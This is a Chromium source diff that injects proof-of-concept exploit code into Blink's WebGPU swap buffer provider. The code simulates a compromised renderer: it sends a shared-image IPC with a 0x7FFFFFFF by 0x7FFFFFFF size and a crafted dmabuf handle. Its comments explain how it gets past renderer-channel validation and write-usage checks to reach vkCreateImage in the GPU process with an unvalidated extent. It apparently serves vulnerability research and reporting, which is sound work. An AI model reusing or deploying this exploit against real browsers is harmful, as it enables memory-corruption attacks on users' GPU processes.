diff --git a/third_party/blink/renderer/platform/graphics/gpu/webgpu_swap_buffer_provider.cc b/third_party/blink/renderer/platform/graphics/gpu/webgpu_swap_buffer_provider.cc index 171aef88b1a55..9b36246c2697b 100644 --- a/third_party/blink/renderer/platform/graphics/gpu/webgpu_swap_buffer_provider.cc +++ b/third_party/blink/renderer/platform/graphics/gpu/webgpu_swap_buffer_provider.cc @@ -15,6 +15,50 @@ #include "gpu/command_buffer/common/shared_image_capabilities.h" #include "gpu/command_buffer/common/shared_image_usage.h" +// ---- POC injection: simulated compromised renderer ------------------------ +#if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) +#include +#include +#include +#include +#include +#include "ui/gfx/gpu_memory_buffer_handle.h" +#include "ui/gfx/native_pixmap_handle.h" + +// Best-effort allocation of a small fd to pass as the dmabuf plane. On +// machines with /dev/dma_heap/system this yields a real dmabuf so that the +// later vkGetMemoryFdPropertiesKHR/vkAllocateMemory/vkBindImageMemory steps +// also succeed; otherwise we fall back to a memfd, which still reaches the +// vulnerable vkCreateImage call (it runs *before* the fd is touched). +static int PocAllocSmallDmabuf() { + // Try the system dma-heap first (real dmabuf, present on most ChromeOS). + int heap = open("/dev/dma_heap/system", O_RDWR | O_CLOEXEC); + if (heap >= 0) { + struct { + uint64_t len; + uint32_t fd; + uint32_t fd_flags; + uint64_t heap_flags; + } data = {4096, 0, O_RDWR | O_CLOEXEC, 0}; + // DMA_HEAP_IOCTL_ALLOC = _IOWR('H', 0, struct dma_heap_allocation_data) + constexpr unsigned long kDmaHeapIoctlAlloc = 0xc0184800; + if (ioctl(heap, kDmaHeapIoctlAlloc, &data) == 0) { + close(heap); + return static_cast(data.fd); + } + close(heap); + } + // Fallback: anonymous memfd. Not a real dmabuf, but vkCreateImage runs + // before any fd validation, so it's enough to reach the sink. + int fd = static_cast(syscall(SYS_memfd_create, "poc-dmabuf", 0)); + if (fd >= 0) { + ftruncate(fd, 4096); + } + return fd; +} +#endif // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) +// --------------------------------------------------------------------------- + namespace blink { namespace { @@ -172,6 +216,74 @@ scoped_refptr WebGPUSwapBufferProvider::GetNewTexture( return nullptr; } +#if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) + // ---- POC: simulated compromised renderer ------------------------------ + // Fires once on the first WebGPU canvas getCurrentTexture() call. Sends a + // CreateSharedImageWithBuffer IPC carrying a NATIVE_PIXMAP handle whose size + // is INT_MAX x INT_MAX, then issues an AssociateMailbox WebGPU command so + // the GPU process produces a DawnOzoneImageRepresentation and calls + // device.ImportSharedTextureMemory() -> Dawn Vulkan + // SharedTextureMemory::Create(DmaBuf) -> vkCreateImage with the unvalidated + // extent. + static bool poc_done = false; + if (!poc_done) { + poc_done = true; + int fd = PocAllocSmallDmabuf(); + LOG(ERROR) << "[POC] dmabuf fd=" << fd; + if (fd >= 0) { + gfx::NativePixmapHandle nph; + nph.modifier = 0; // DRM_FORMAT_MOD_LINEAR + nph.supports_zero_copy_webgpu_import = true; + // stride/size are renderer-controlled; CanFitImageForSizeAndFormat is + // gated on enable_extra_handles_validation() which is false for renderer + // channels, so these are not checked against the image size. Pick a + // huge stride so that any backing factory that *does* multiply + // height x stride overflows the same way the driver will. + nph.planes.emplace_back(/*stride=*/0x10u, /*offset=*/0, + /*size=*/4096, base::ScopedFD(fd)); + gfx::GpuMemoryBufferHandle gmb(std::move(nph)); + + constexpr int32_t kEvilDim = 0x7FFFFFFF; + gpu::SharedImageInfo si_info( + viz::SinglePlaneFormat::kRGBA_8888, gfx::Size(kEvilDim, kEvilDim), + gfx::ColorSpace(), + gpu::SharedImageUsageSet(gpu::SHARED_IMAGE_USAGE_WEBGPU_READ | + gpu::SHARED_IMAGE_USAGE_WEBGPU_WRITE), + "poc-dmabuf"); + auto* sii = + context_provider->ContextProvider().SharedImageInterface(); + scoped_refptr evil_si = + sii->CreateSharedImage(si_info, std::move(gmb)); + LOG(ERROR) << "[POC] sent CreateSharedImageWithBuffer " + << "size=0x7FFFFFFF x 0x7FFFFFFF, mailbox=" + << (evil_si ? "ok" : "null"); + + if (evil_si) { + // Associate with the live WebGPU device. Read-only usage avoids the + // SHARED_IMAGE_USAGE_WEBGPU_WRITE check in the decoder while still + // calling ProduceDawn -> DawnOzoneImageRepresentation::BeginAccess. + wgpu::TextureDescriptor td; + td.usage = wgpu::TextureUsage::CopySrc; + td.dimension = wgpu::TextureDimension::e2D; + td.size = {16, 16, 1}; + td.format = wgpu::TextureFormat::RGBA8Unorm; + scoped_refptr evil_tex = + WebGPUMailboxTexture::FromExistingSharedImage( + dawn_control_client_, device_, td, evil_si, + evil_si->creation_sync_token(), + gpu::webgpu::WEBGPU_MAILBOX_NONE, wgpu::TextureUsage::None, + base::OnceCallback()); + LOG(ERROR) << "[POC] AssociateMailbox sent; GPU process will now call " + << "vkCreateImage(extent={0x7FFFFFFF,0x7FFFFFFF,1})"; + // Intentionally leak evil_tex so the access stays open while the GPU + // process services the AssociateMailbox command. + evil_tex->AddRef(); + } + } + } + // ----------------------------------------------------------------------- +#endif // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) + gfx::Size size(desc.size.width, desc.size.height); if (size.IsEmpty()) { return nullptr;